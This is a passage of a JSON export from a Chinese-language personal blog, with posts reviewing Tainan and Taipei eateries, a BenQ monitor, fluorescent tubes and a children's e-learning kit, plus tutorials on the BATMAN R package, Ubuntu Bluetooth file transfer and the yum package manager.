為例"},{"content":"清珠布丁豆花是新營的一家豆花老店，口味傳統，價格實在。\n新營的清珠布丁豆花就在民治路與民權路的路口，新營高中對面。\n清珠布丁豆花是一家很有名的豆花店，是鳳中奇緣推薦過的店家，奇摩新聞也有相關的報導。\n這裡主要是賣布丁與豆花，還有綠豆湯、薏仁湯等。\n這是清珠布丁豆花店內的菜單。\n店內的座位滿多的，空間寬敞。\n這是花生豆花，我個人是喜歡這種較傳統的口味。\n這是三色豆花（鮮奶豆花、布丁豆花與巧克力布丁），小朋友通常比較喜歡這種。\n這是招牌豆花，主要的配料是紅豆與薏仁，還有鮮奶豆花在底下。\n阿玄吃豆花。\n很多人都會來這裡買外帶的豆花。\n外帶的豆花是用杯子裝的。\n阿玄吃完豆花很高興的樣子。\n店名：清珠布丁豆花\n地址：台南市新營區民治路 76-4 號\n","permalink":"https://blog.gtwang.org/life/qing-zhu-tofu-pudding-sinying-tainan/","summary":"\u003cp\u003e清珠布丁豆花是新營的一家豆花老店，口味傳統，價格實在。\u003c/p\u003e\n\u003cp\u003e新營的清珠布丁豆花就在民治路與民權路的路口，新營高中對面。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"清珠布丁豆花\" loading=\"lazy\" src=\"/life/qing-zhu-tofu-pudding-sinying-tainan/qing-zhu-tofu-pudding-sinying-tainan-20160827-11.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e清珠布丁豆花是一家很有名的豆花店，是鳳中奇緣推薦過的店家，\u003ca href=\"https://tw.news.yahoo.com/%E6%96%B0%E7%87%9F%E6%B8%85%E7%8F%A0%E8%B1%86%E8%8A%B1-%E5%A0%85%E6%8C%81%E5%82%B3%E7%B5%B1-144400830.html\"\u003e奇摩新聞\u003c/a\u003e也有相關的報導。\u003c/p\u003e","title":"[台南新營美食] 清珠布丁豆花，鳳中奇緣推薦"},{"content":"普耕寶荳素食小館是台南市東區的一家素食餐廳，餐點種類豐富，包含燴飯、蓋飯、麵類等，還有素食鹹酥雞、滷味、關東煮、鍋燒意麵，應有盡有。\n今天到台南市東區保養車子，中午原本打算去養聖齋養生蔬食吃中餐，不過車開到那附近實在找不到停車位，繞到崇道路上的全聯福利中心前面才發現一個車位，停好車之後就發現這家素食餐廳，剛好就在全聯福利中心對面，中午大太陽帶小朋友也不想走太遠，所以就直接來這裡用餐。\n店名：普耕寶荳素食小館\n地址：台南市東區崇道路 27、29 號\n網站：facebook 粉絲專頁\n店門口除了招牌之外，還有一串寫著「阿彌陀佛」的大紅燈籠。\n週六中午十二點多，這裡的人還不少。\n這是普耕寶荳素食小館的大門口，店內的木頭裝潢佈置的很漂亮。\n我感覺店內的員工還不少，比一般的小吃店規模還大一些。\n這是店內的櫃台，第一次來的人記得跟櫃台拿菜單點餐。\n這是店內的座位，週六中午人很多，牆壁上掛了好多很精緻的佛像、佛經與匾額，我個人很喜歡，不過因為人好多，我不好意思進去拍。\n這裡的桌椅是屬於比較低的那種日式桌椅，小朋友坐起來剛剛好。\n用餐環境感覺都很乾淨、整潔。我們今天中午在這裡用餐時，店內都持續播放觀世音菩薩普門品的甘露譜，這是我個人最喜歡的經文之一。\n這是普耕寶荳素食小館的菜單，有燴飯類、蓋飯類、火鍋類、燙青菜、湯類、麵類，該有的都有。菜單上有綠色星號的項目代表純素餐點，吃純素的人也可以放心來這裡用餐。\n除了一般的餐點之外，還有現炸的素食鹹酥雞、滷味，小朋友最喜歡這個了。\n這裡提供的食材種類很多，顧客可以選擇製作成油炸的鹹酥雞或是滷味。\n這裡的每一種食材都有非常清楚的素食類型標示，以顏色分為純素、奶素、蛋素與蛋奶素，顧客可以根據自己的素食類型，挑選自己可以吃的食材，屬於非常專業且用心的素食店家。另外還有一些新鮮的蔬菜與菇類可以選擇。\n無標價的素料則是以秤種計價，一次最低 50 元。\n櫃台旁邊有一桌關東煮。\n看起來很不錯的樣子。\n這是素食的北京烤鴨蓋飯。\n這是海苔蓋飯，料還滿豐富的，味道也不錯。\n這是鍋燒意麵，料也不少。\n這是小朋友最愛的素食鹹酥雞，我感覺他們油炸的技術與品質還不錯，不會炸得很焦，很好吃。\n我們家阿玄今天中午就專吃這一盤。\n剛炸好的素食鹹酥雞很燙，不過阿玄還是很急著要吃。\n普耕寶荳素食小館店內佈置的很漂亮，有許多這類的小吊飾，讓人看了心情就很好。\n店內還有一桌善書陳列區。\n還有許多莊嚴的佛像。\n連門牌都是自己的設計的。\n從店內的精心的擺設、整潔的環境，以及各式可口的餐點，看得出來老闆的用心經營，我個人感覺普耕寶荳素食小館是一家值得推薦的素食餐廳，建議大家有機會的話可以考慮來此用餐。\n","permalink":"https://blog.gtwang.org/life/pu-geng-bao-dou-vegetarian-restaurant-tainan/","summary":"\u003cp\u003e普耕寶荳素食小館是台南市東區的一家素食餐廳，餐點種類豐富，包含燴飯、蓋飯、麵類等，還有素食鹹酥雞、滷味、關東煮、鍋燒意麵，應有盡有。\u003c/p\u003e\n\u003cp\u003e今天到台南市東區保養車子，中午原本打算去\u003ca href=\"/life/yangshengzhai-vegetarian-restaurant-tainan/\"\u003e養聖齋養生蔬食\u003c/a\u003e吃中餐，不過車開到那附近實在找不到停車位，繞到崇道路上的全聯福利中心前面才發現一個車位，停好車之後就發現這家素食餐廳，剛好就在全聯福利中心對面，中午大太陽帶小朋友也不想走太遠，所以就直接來這裡用餐。\u003c/p\u003e","title":"[台南素食] 普耕寶荳素食小館：飯、麵、鹹酥雞、滷味、關東煮、宵夜"},{"content":"BATMAN 是一個用來分析核磁共振（NMR）頻譜的 R 套件，這裡介紹其使用方式。\n名稱：BATMAN\n網址：https://batman.r-forge.r-project.org/\n模型 BATMAN 使用貝氏統計模型來分析，將頻譜拆成已經編目的頻譜 \\(\\mathbf{y}^c\\) 與未知的頻譜 \\(\\mathbf{y}^u\\)：\n\\[\\mathbf{y}=\\mathbf{y}^c+\\mathbf{y}^u+\\epsilon, \\epsilon \\sim N(0,\\mathbf{I}/\\lambda)\\]關於此模型的詳細說明請參考 BATMAN 網站上相關的論文。\n安裝 安裝 doSNOW 與 plotrix 兩個 R 套件：\ninstall.packages(\u0026#34;doSNOW\u0026#34;) install.packages(\u0026#34;plotrix\u0026#34;) 從 BATMAN 官方網站下載原始碼，安裝最新版的 BATMAN：\ninstall.packages(\u0026#34;batman\u0026#34;, repos=\u0026#34;http://R-Forge.R-project.org\u0026#34;) 測試 從 R-Forge 網站上下載 BATMAN 的測試資料 Test4.zip。\n載入 batman 套件：\nlibrary(batman) 單一頻譜 執行測試。\nbm \u0026lt;- batman() Running batman... Number of burn-in iterations: 200 Number of post-burn-in iterations: 100 The template file used is 2: The user input template of multiplets in multi_data_user.csv file. Loading multi_data_user.csv... Percentage completed... | | 0% Size of each spectrum is 682. Size of metabolite list is 6. of which 6 have resonances in/near the specified region and will be fit. Constructing chain data structure... time used is 0 seconds. Running MCMC... |=================================================== | 67% time used for burnin is 12 seconds. |============================================================================| 100% time used is 18 seconds. saving posteriors... time elapsed 18.052 second. Reading in saved data in folder /home/gtwang/runBATMAN/BatmanOutput/17_ 8月_09_50_39 This operating system may not support X11, no plot will be displayed, figures in .pdf format will be saved in output folder. Check input argument 'showPlot' for more detail. Completed. 輸出的結果為：\n圖中藍色的是原始的頻譜（Original Spectrum），綠色的是分析出來的 Metabolites Fit，紅色的是未知的 Wavelet Fit，黑色的是整個模型配適的結果，也就是綠色加上紅色。\n多頻譜 BATMAN 可以使用平行化的方式計算，使用多顆 CPU 加速計算。\n修改 runBATMAN/BatmanInput/batmanOptions.txt 設定檔，修改以下參數：\nspecNo - Ranges of spectra number to be included (e.g. 1,3-4 etc.): 1-4 paraProc - No of parallel processes (multicores) (only 1 core will be used for single spectrum): 4 nItBurnin - Number of burn-in iterations: 7000 nItPostBurnin - Number of post-burn-in iterations: 1000 重新執行 R 指令：\nbm \u0026lt;- batman() Running batman... Number of burn-in iterations: 7000 Number of post-burn-in iterations: 1000 The template file used is 2: The user input template of multiplets in multi_data_user.csv file. Loading multi_data_user.csv... Number of parallel processes (multicores) used to run the multi-spectra analysis: 4 Parallel processing of multi spectra currently cannot display the progress bar (or any words), please be patient for the results :) time elapsed 881.004 second. Reading in saved data in folder /home/gtwang/runBATMAN/BatmanOutput/17_ 8月_10_16_41 This operating system may not support X11, no plot will be displayed, figures in .pdf format will be saved in output folder. Check input argument 'showPlot' for more detail. Completed. 輸出的結果為：\n執行 batman 時會自動將圖形輸出至 PDF 檔，亦可使用 plotBatmanFitStack 自行繪製圖形：\nplotBatmanFitStack(bm, offset = 0.8, placeLegend = \u0026#39;topleft\u0026#39;, yto = 5) 簡報檔：BATMAN.pdf\n參考資料 NMR基礎原理介紹I NMR 基礎原理介紹II BATMAN—an R package for the automated quantification of metabolites from nuclear magnetic resonance spectra using a Bayesian model ","permalink":"https://blog.gtwang.org/r/batman-nmr-spectral-data-r-package/","summary":"\u003cp\u003eBATMAN 是一個用來分析核磁共振（NMR）頻譜的 R 套件，這裡介紹其使用方式。\u003c/p\u003e\n\u003cblockquote class=\"tldr\"\u003e\u003cp\u003e名稱：BATMAN\u003cbr\u003e\n網址：\u003ca href=\"https://batman.r-forge.r-project.org/\"\u003ehttps://batman.r-forge.r-project.org/\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"模型\"\u003e模型\u003c/h2\u003e\n\u003cp\u003eBATMAN 使用貝氏統計模型來分析，將頻譜拆成已經編目的頻譜 \\(\\mathbf{y}^c\\) 與未知的頻譜 \\(\\mathbf{y}^u\\)：\u003c/p\u003e","title":"BATMAN：核磁共振 NMR 頻譜統計分析工具"},{"content":"水廣川蔬食餐廳是一家中研院對面的素食自助餐，食材品質好，既健康又養生。\n最近到中研院出差，中午開會完要在附近找素食餐廳用餐，中研院附近的素食似乎不多，而剛好在中研院對面就有一家水廣川精緻蔬食餐廳，從中研院走過來非常方便。\n水廣川目前是以自助餐為主。\n這是水廣川店內的自助餐菜餚區，這裡所使用的食材品質都很不錯，適合注重健康與養生的人。\n由於我來的時候是中午十二點多，這時候人還滿多的，大部分座位上都有人，我不好意思拍攝大家在吃飯的樣子，再加上我這次在趕時間，所以只有幾拍了幾張代表性的照片。\n這是店內牆壁上的海報，水廣川在宜蘭羅東有自己的農場，部分的菜餚會使用自己農場所生產的食材。\n水廣川店內的空間並不是非常大，但是用餐環境讓人感覺很舒服，老闆娘和藹可親，對客人也很大方，結帳時如果看到是男生要吃的飯，還會直接主動把飯多加一點（真的明顯比一般自助餐的飯量多），還會問這樣夠不夠。\n而我在店內用餐到一半的時候，老闆娘還把一盤鳳梨用紙碗分裝，免費送給店內的每一位客人加菜，像我就分到兩大塊（很好吃，但我忘了拍照就吃掉了 Orz）。\n店名：水廣川精緻蔬食餐廳\n地址：台北市南港區研究院路二段 39-9 號\n今天是我第一次來水廣川素食吃飯，感覺很不錯，加上它的位置剛好就在中研院對面，交通非常方便，旁邊就是中研新村的公車站牌，自己來這裡出差要吃素的話，這裡應該是首選。\n","permalink":"https://blog.gtwang.org/life/shui-guang-chuan-vegetarian-restaurant-nangang/","summary":"\u003cp\u003e水廣川蔬食餐廳是一家中研院對面的素食自助餐，食材品質好，既健康又養生。\u003c/p\u003e\n\u003cp\u003e最近到中研院出差，中午開會完要在附近找素食餐廳用餐，中研院附近的素食似乎不多，而剛好在中研院對面就有一家水廣川精緻蔬食餐廳，從中研院走過來非常方便。\u003c/p\u003e","title":"[南港素食] 水廣川精緻蔬食餐廳：自助餐、便當，近中研院"},{"content":"本篇是 BENQ EW2750ZL 低藍光、不閃屏護眼螢幕的開箱文。\n最近淘汰家裡的舊螢幕，上網買了一台 BENQ 的低藍光、不閃屏的護眼螢幕，寫個開箱文紀錄一下。\n這台螢幕我是從 PCHome 上面買的，剛好這幾天特價 6990 元。\n打開 BENQ EW2750ZL 螢幕外箱。\n這些是 BENQ EW2750ZL 螢幕配件，包含基本的配件、電源線，還有一條 D-Sub 螢幕線以及一條 Micro USB 轉 HDMI 的 MHL 線。\n這是 BENQ EW2750ZL 螢幕。\n螢幕在使用前要稍微組裝一下，組裝方式很簡單，把底座接上去再鎖上兩個螺絲就可以用了。\n這是組裝好的 BENQ EW2750ZL 螢幕。\n這是 BENQ EW2750ZL 螢幕的背面。\nBENQ EW2750ZL 螢幕背面的插座包含一個 D-Sub 輸入、兩個 HDMI 輸入、一個音源輸入、一個音源輸出（耳機接孔），最下方的是電源。\n這是螢幕正面的一些標示。\n另外一側的標示。\nBENQ EW2750ZL 螢幕是無框邊的設計，所以比較省空間。\n這是螢幕的主選單，有低藍光模式、圖片模式、音量，還有進階的詳細功能表。\n這是低藍光模式選單，可以調整藍色光源的比例，看一般影片時可以設定為 -30% 的模式，讓螢幕顏色不會偏差太多，而如果是閱讀文字時，就可以調整為 -70% 的模式，減低藍光對眼睛的刺激。\n這是圖片模式的選單，提供一些圖片專用的顯示模式。\n這是調整音量的選單。\n這是比較詳細的功能表選單，各種進階的選項都可以從這裡調整。\n選單的語系可以在詳細功能表中調整，對於不習慣看英文的人，也可以把選單的語言調整成繁體中文。\n這是 BENQ EW2750ZL 螢幕設定為 -70% 低藍光模式下瀏覽網頁的樣子，這樣的設定可讓眼睛看起來比較不會那麼刺眼，非常適合需要長時間閱讀文字的人使用。\n我拿 BENQ EW2750ZL 螢幕跟我的 iMac 的螢幕放在一起做比較，在 -70% 低藍光的模式之下，很明顯看起來就差很多，低藍光的螢幕看起來會比較柔和。\n雖然低藍光的模式對眼睛比較好，但是圖片的顏色就會篇黃，所以如果要修圖的時候，記得要自己調整一下圖片的顯示模式。\n","permalink":"https://blog.gtwang.org/unboxing/benq-ew2750zl-monitor/","summary":"\u003cp\u003e本篇是 BENQ EW2750ZL 低藍光、不閃屏護眼螢幕的開箱文。\u003c/p\u003e\n\u003cp\u003e最近淘汰家裡的舊螢幕，上網買了一台 BENQ 的低藍光、不閃屏的護眼螢幕，寫個開箱文紀錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] BENQ EW2750ZL 低藍光、不閃屏護眼螢幕，27 吋液晶顯示器"},{"content":"飛利浦的三波長自然色日光燈管價格很便宜，但演色性比傳統的日光燈管高出很多，換了這種燈管之後，眼睛會比較舒服。\n最近朋友介紹可以將家中的日光燈換成比較好一點燈管，可以讓眼睛看起來更舒服，不會那麼刺激，對於預防近視也會有一些幫助，以下紀錄一些最近整理的日光燈資訊。\n日光燈的特性 在選購日光燈時，有幾點日光燈的特性需要先了解，這樣才能知道如何挑選適合自己的日光燈。\n通常日光燈上面都會標示幾個規格，例如壽命、耗電量、亮度等，這些基本的性質大家一看就知道如何挑選，但另外有兩個性質可能是一般人比較不容易理解的，就是演色性與色溫，以下我解釋一下這兩個特性的意思。\n演色性 在用相機照相時，通常在白天的自然光下拍攝出來的照片會比較逼真，而如果同樣的物體在晚上使用日光燈的光源來拍攝，就會感覺灰灰藍藍的、比較暗沉，沒有像白天那麼鮮艷、漂亮，甚至如果晚上拿到馬路上的水銀燈下拍攝，這種狀況又會更嚴重，這就是光源的演色性所造成的影響。\n平均演色性指數（Ra）是光源對物體顏色呈現的程度，光源的演色性越高則物體顯現顏色越逼真，眼睛看起來也會越舒服，自然光（太陽光）的演色性是 100%，是演色性最高的光源，一般普通日光燈的演色性大約介於 60% ～ 75% 之間，而三波長的日光燈其演色性則是可以到達 80% 以上。在挑選燈管時當然是挑演色性高一點的比較好，不過價格通常也會比較高。\n色溫 光源的色溫比較好理解，它其實就是光源顏色給人的溫度感覺，只不過色溫是使用絕對溫度（K）來表示顏色，所以一般人可能一開始會看不懂，請參考下面這個對照圖應該就會很清楚了。\n色溫數值越低，代表光源的顏色越溫暖，而數值越高則是越寒冷，市面上的燈管都有好多種顏色，例如白光、黃光等，但是有時候不同廠牌用的名詞又不太一樣，在挑選時很容易混淆，例如燈泡色、自然色、晝白色等，乍看之下會搞不清楚到底是什麼顏色，遇到這種狀況的話，直接看色溫的數值標示是最準的，因為這是共通的標準，不會有語意不清的問題。\n市面上常見的燈管色溫有好幾種，以飛利浦三波長自然色日光燈管而言，有三種色溫可以選擇：\n名稱 色溫 說明 晝光色 6500K 冷色系的白光，給人感覺明亮。 白光 4000K 暖色系的白光，自然、柔和、不刺眼。 燈泡色 2700K 類似燈泡的黃光，容易使人放鬆。 一般最普通的日光燈管其色溫大都是 6500K，這種色溫雖然感覺會比較明亮，但是也會比較刺激、容易使眼睛疲勞，一般住家的話建議在客廳可以使用 4000K 的暖色系的白光，而臥室則可以考慮 2700K 的燈泡色，當然每個人的喜好不同，大家可以自己挑選自己喜歡的顏色。\n飛利浦三波長自然色日光燈管 飛利浦三波長自然色日光燈管由於價格很便宜，跟一般的日光燈管差不多，我在大賣場買一隻 TLD 36W 840 T8（4 尺）燈管是 85 元，而 TLD 18W 840 T8（2 尺）的燈管則是 58 元，我原本看這個價格那麼便宜，沒有預期它會比傳統燈管好多少，不過換了之後，感覺差很多。\n飛利浦三波長自然色日光燈管包裝都是綠色的，在大賣場很容易辨別。\n購買時請注意看包裝上的標示，尤其是色溫，不要買錯顏色。\n燈管上也會有一些基本的標示，我們可以從飛利浦的燈管代號中看出色溫與演色性，以下面這個 TLD 18W/840 來說，18W 就是 18 瓦（2 尺），而 840 的 8 代表演色性達 80% 以上，而 40 則代表色溫是 4000K。\n由於飛利浦三波長自然色日光燈管有三種色溫，包裝都很類似，所以購買時請注意上面的色溫標示，像下面這隻就是 6500K 的冷色系晝色光燈管。\n這隻的代號是 TLD 18W/865，代表演色性達 80% 以上，而色溫是 6500K。\n這一隻則是 TLD 36W/840，是 4 尺的燈管。\n飛利浦三波長自然色日光燈管的演色性可達 80% 以上，而市面上也可以買的到更高演色性的全光譜燈具，但是那種燈具的價格是普通燈具的十倍以上，例如攝影燈或水族燈等，一般家庭用的燈具，選擇演色性 80% 的比較適合，它比起傳統燈管來說演色性提高很多，亮度也明顯比較高，但價格卻差不多，所以我個人推薦可以把家裡的燈管換成這種的。\n","permalink":"https://blog.gtwang.org/life/philips-fluorescent-tubes/","summary":"\u003cp\u003e飛利浦的三波長自然色日光燈管價格很便宜，但演色性比傳統的日光燈管高出很多，換了這種燈管之後，眼睛會比較舒服。\u003c/p\u003e\n\u003cp\u003e最近朋友介紹可以將家中的日光燈換成比較好一點燈管，可以讓眼睛看起來更舒服，不會那麼刺激，對於預防近視也會有一些幫助，以下紀錄一些最近整理的日光燈資訊。\u003c/p\u003e","title":"飛利浦三波長自然色日光燈管，高演色性護眼燈管"},{"content":"本篇是音象兒童數位學習教材 HiKids 資優學園的簡單開箱文。\nHiKids 資優學園是專為 3 到 12 歲小朋友量身打造的學習系統，課程分為幼兒園到國小六年級七大階段。\n最近買了音象兒童數位學習教材，準備要給阿玄學習用的，這是從總公司寄來的包裹。\n這是音象兒童數位學習教材的盒子。\n他們的教材分為桌上型電腦版與平板電腦版兩種，而我買的是一般桌上型電腦的版本，所以沒有平板電腦。\n主要的內容就是一個外接式硬碟，加上一個 USB 硬體鎖。\n外接式硬碟有附贈一條 USB 傳輸線。\n外接式硬碟看起來是創見的 500GB 硬碟，上面有貼音像的軟體授權貼紙，客服的工程師跟我說如果未來硬碟壞了，可以把壞掉的這個硬碟送回去，他們會準備新的硬碟並把資料都裝好給我們，然後收取新硬碟的基本費用，或是說自己準備新的硬碟拿去給他們灌軟體，但是這個舊硬碟一定要留著，這樣他們才知道我們是有買合法授權的客戶。\n使用音象兒童數位學習教材之前，要把這個 USB 硬體鎖插在電腦上才能執行軟體，就像普通 USB 隨身碟一樣隨便找一個 USB 插孔插上去就行了。\n這是其他附贈的資優生雲端學堂，還有操作手冊等。\n這一套教材的價格是 71,280 元，終身可以使用，而更新的期限則是可到 2028/08/19。\n以下是一些遊戲的畫面。\n","permalink":"https://blog.gtwang.org/children/hikids-digital-learning-materials-201608/","summary":"\u003cp\u003e本篇是音象兒童數位學習教材 HiKids 資優學園的簡單開箱文。\u003c/p\u003e\n\u003cp\u003eHiKids 資優學園是專為 3 到 12 歲小朋友量身打造的學習系統，課程分為幼兒園到國小六年級七大階段。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] HiKids 資優學園：音象兒童數位學習教材"},{"content":"這裡介紹如何在 Ubuntu Linux 中使用藍牙通訊，接收與傳送手機或別台電腦的照片與影片等檔案。\n要在電腦與手機之間傳輸資料，除了傳統的 USB 傳輸線之外，也可以使用藍牙的方式傳送檔案，以下我們示範在 Ubuntu Linux 中如何使用藍牙來傳送與接收檔案。\n安裝藍牙套件 首先在 Ubuntu Linux 中安裝藍牙相關的套件：\nsudo apt-get install bluetooth bluez blueman blueman 是一個 GTK 架構的藍牙管理軟體，您也可以使用 Ubuntu Linux 內建的 bluetooth indicator。\n安裝完藍牙相關的套件之後，請登出再重新登入，讓桌面環境載入 blueman 的系統工具列。\n確認一下 Ubuntu Linux 系統的藍牙服務是否有正常啟動：\nservice bluetooth status ● bluetooth.service - Bluetooth service Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor preset: enabled) Active: active (running) since 二 2016-08-09 19:27:36 CST; 12min ago Docs: man:bluetoothd(8) Main PID: 2755 (bluetoothd) Status: \"Running\" CGroup: /system.slice/bluetooth.service └─2755 /usr/lib/bluetooth/bluetoothd 正常來說這個服務應該要是處於 active 狀態，如果 bluetooth 服務沒有正常運作，可以在安裝完套件之後，重新啟動 Linux 系統試試看。\nBlueman 藍牙管理軟體 正常來說，blueman 藍牙管理軟體的系統工具列會出現在桌面的右上角，使用之前我們要做一些基本的設定。\n在 blueman 的系統工具列中有許多功能可以使用，藍牙裝置會列出所有偵測到的藍牙裝置。\n本機服務的網路設定功能可以讓您透過藍牙讓別的裝置上網，這裡我們暫時用不到這個功能。\n在本機服務的傳送設定部份，可以設定透過接收的檔案所要放置的位置，預設應該會在自己的下載目錄。\n藍牙配接器則可以設定 Ubuntu Linux 電腦的顯示名稱，建議取一個比較容易辨識的名字，這裡我用 UbuntuPC 這個名稱作為示範。\n將基本的設定都確認過之後，就可以開始使用藍牙傳輸檔案了。\n從手機傳送檔案至 Ubuntu Linux Step 1\n首先從手機上選擇要傳輸的檔案，透過手機的藍牙傳送，在選擇藍牙裝置時，就選取剛剛設定好的 UbuntuPC。\nStep 2\n這時候 Ubuntu Linux 上應該就會跳出一個透過藍牙接收檔案的詢問視窗，選擇「接受」之後就會開始傳輸檔案。\nStep 3\n檔案傳輸完成後，在畫面上就會到類似這樣的訊息。\nStep 4\n這時候就可以在自己的下載目錄中找尋接收的檔案，這裡我是傳輸一張照片圖檔，基本上藍牙傳輸對於檔案類型沒有任何限制，任何檔案都可以傳送。\n從 Ubuntu Linux 傳送檔案至手機 Step 1\n從 blueman 的系統工具列上選擇「傳送檔案」，然後選擇要傳送的檔案。\nStep 2\n接著選擇要接收檔案的裝置，這裡我以小米手機作為示範。\nStep 3\n這時候在手機上應該就會看到一則透過藍牙接收檔案的確認訊息，請選擇「接受」。\nStep 4\n在手機端確認之後，檔案就會開始傳送。\n以上就是使用 blueman 藍牙管理軟體傳送檔案的方式，而 Ubuntu Linux 本身就有內建一個比較簡單的藍牙工具，如果您不需要太複雜的功能，也可以使用這個工具來傳送檔案。\n參考資料 askubuntu ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-file-transfer-via-bluetooth-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 中使用藍牙通訊，接收與傳送手機或別台電腦的照片與影片等檔案。\u003c/p\u003e\n\u003cp\u003e要在電腦與手機之間傳輸資料，除了傳統的 USB 傳輸線之外，也可以使用藍牙的方式傳送檔案，以下我們示範在 Ubuntu Linux 中如何使用藍牙來傳送與接收檔案。\u003c/p\u003e","title":"Ubuntu Linux 藍牙檔案傳輸教學：讓手機與電腦互相傳送檔案"},{"content":"這裡提供 Linux 的 yum 指令基礎教學，並提供豐富的 rpm 套件管理範例。\nyum 是用來管理 rpm 套件的工具，可以自動處理相依性的問題，在 Red Hat 系列的 Linux 系統上時常被使用，以下是 yum 指令的基本用法與範例。\n列出套件 list 可以列出所有已安裝與未安裝的套件列表：\nyum list 若要列出所有可以安裝（未安裝）的套件列表，可以使用：\nyum list available 若要列出所有已經安裝的套件列表，可以使用：\nyum list installed 若要列出所有可以更新的套件列表，可以使用：\nyum list updates 有些套件雖然被安裝在系統中，但是沒有被收錄在套件庫之內（例如手動安裝的 RPM 套件），若要列出這種套件可使用：\nyum list extras 列出最近安裝的套件列表：\nyum list recent 搜尋套件 要搜尋包含關鍵字的套件，可以使用 search，例如搜尋有 httpd 字眼的套件列表：\nyum search httpd 如果要找尋有包含特定檔案的套件，可以使用 provides，例如搜尋有包含 /etc/sysconfig/nfs 這個檔案的套件列表，則可使用：\nyum provides /etc/sysconfig/nfs 安裝套件 安裝 rpm 套件可用 install 指令並指定要安裝的套件名稱，例如安裝 Apache 網頁伺服器：\nsudo yum install httpd 也可以一次安裝多個套件：\nsudo yum install pkg1 pkg2 pkg3 指定安裝套件版本 如果要指定安裝套件版本，首先可以使用 --showduplicates 列出可用的版本：\nyum --showduplicates list httpd Loaded plugins: fastestmirror, langpacks Determining fastest mirrors * base: ftp.tc.edu.tw * epel: free.nchc.org.tw * extras: ftp.tc.edu.tw * updates: ftp.tc.edu.tw ce_stable 5/5 Installed Packages httpd.x86_64 2.4.6-40.el7.centos.4 @updates Available Packages httpd.x86_64 2.4.6-40.el7.centos base httpd.x86_64 2.4.6-40.el7.centos.1 updates httpd.x86_64 2.4.6-40.el7.centos.4 updates 套件的版本資訊可直接加在套件名稱後面：\nsudo yum install PKGNAME-VERSION 例如：\nsudo yum install httpd-2.4.6-40.el7.centos 更新套件 若要更新系統上的 RPM 套件，可用 update 指令並指定要更新的套件名稱，例如更新 httpd 套件：\nsudo yum update httpd 若不指定套件名稱，則會更新目前系統上所有已經安裝的套件：\nsudo yum update 如果要更新套件至指定的版本，可以改用 update-to。\n另外一個升級指令是 upgrade，其作用跟 update 類似，不過 upgrade 會連同淘汰的套件也一起更新：\nsudo yum upgrade 通常在更新 Linux 發行板時，適合使用 upgrade 來升級套件。\n檢查可更新的套件 check-update 可以列出系統上所有可更新的 RPM 套件列表，這個指令不是互動是的，可以在指令稿中使用：\nyum check-update 移除套件 若要移除套件可以使用 remove 指令，並加上要移除的套件名稱：\nsudo yum remove httpd erase 的作用與 remove 相同：\nsudo yum erase httpd 移除沒有用的套件 由於套件的相依性問題，有些套件在某些狀況下會被自動安裝，而當系統經過了一段時間、做了一些變動之後，可能會留下一些沒有用的套件，這時候可以使用 autoremove 自動移除這些套件：\nsudo yum autoremove 套件資訊 deplist 可以列出指定套件的相依性套件列表：\nyum deplist httpd 套件群組 在 yum 的套件系統上，相關的套件會被歸納在同一個群組中，除了以單一套件的方式搜尋與安裝之外，也可以用群組的方式一次安裝所有相關的套件，這樣的好處是可以把相類關的工具一次安裝好，比較不容易遺漏。\ngrouplist 可以列出所有可用的群組：\nyum grouplist Loaded plugins: fastestmirror, langpacks There is no installed groups file. Maybe run: yum groups mark convert (see man yum) Loading mirror speeds from cached hostfile * base: ftp.tc.edu.tw * epel: free.nchc.org.tw * extras: ftp.tc.edu.tw * updates: ftp.tc.edu.tw Available Environment Groups: 最小型安裝 基礎架構伺服器 運算節點 檔案和列印伺服器 MATE 桌面 基本網站伺服器 虛擬主機 含有 GUI 的伺服器 GNOME 桌面環境 KDE Plasma Workspaces [略] Available Groups: CIFS 檔案伺服器 Eclipse FCoE 儲存體客戶端 Fedora 軟體打包員 Haskell Legacy UNIX 相容性 Milkymist [略] 系統上有很多種套件群組，若要安裝套件群組可以使用 groupinstall：\nsudo yum groupinstall \u0026#39;MATE 桌面\u0026#39; 若要更新套件群組，可以使用 groupupdate：\nsudo yum groupupdate \u0026#39;MATE 桌面\u0026#39; 若要移除套件群組，可以使用 groupremove：\nsudo yum groupremove \u0026#39;MATE 桌面\u0026#39; 套件庫 repolist 可以列出目前啟用的套件庫：\nyum repolist 若要列出所有可用的套件庫，則執行：\nyum repolist all 如果要從未啟用的套件庫安裝套件，可以加上 --enablerepo 參數：\nsudo yum --enablerepo=epel-testing install vim-X11.x86_64 清理暫存檔 clean 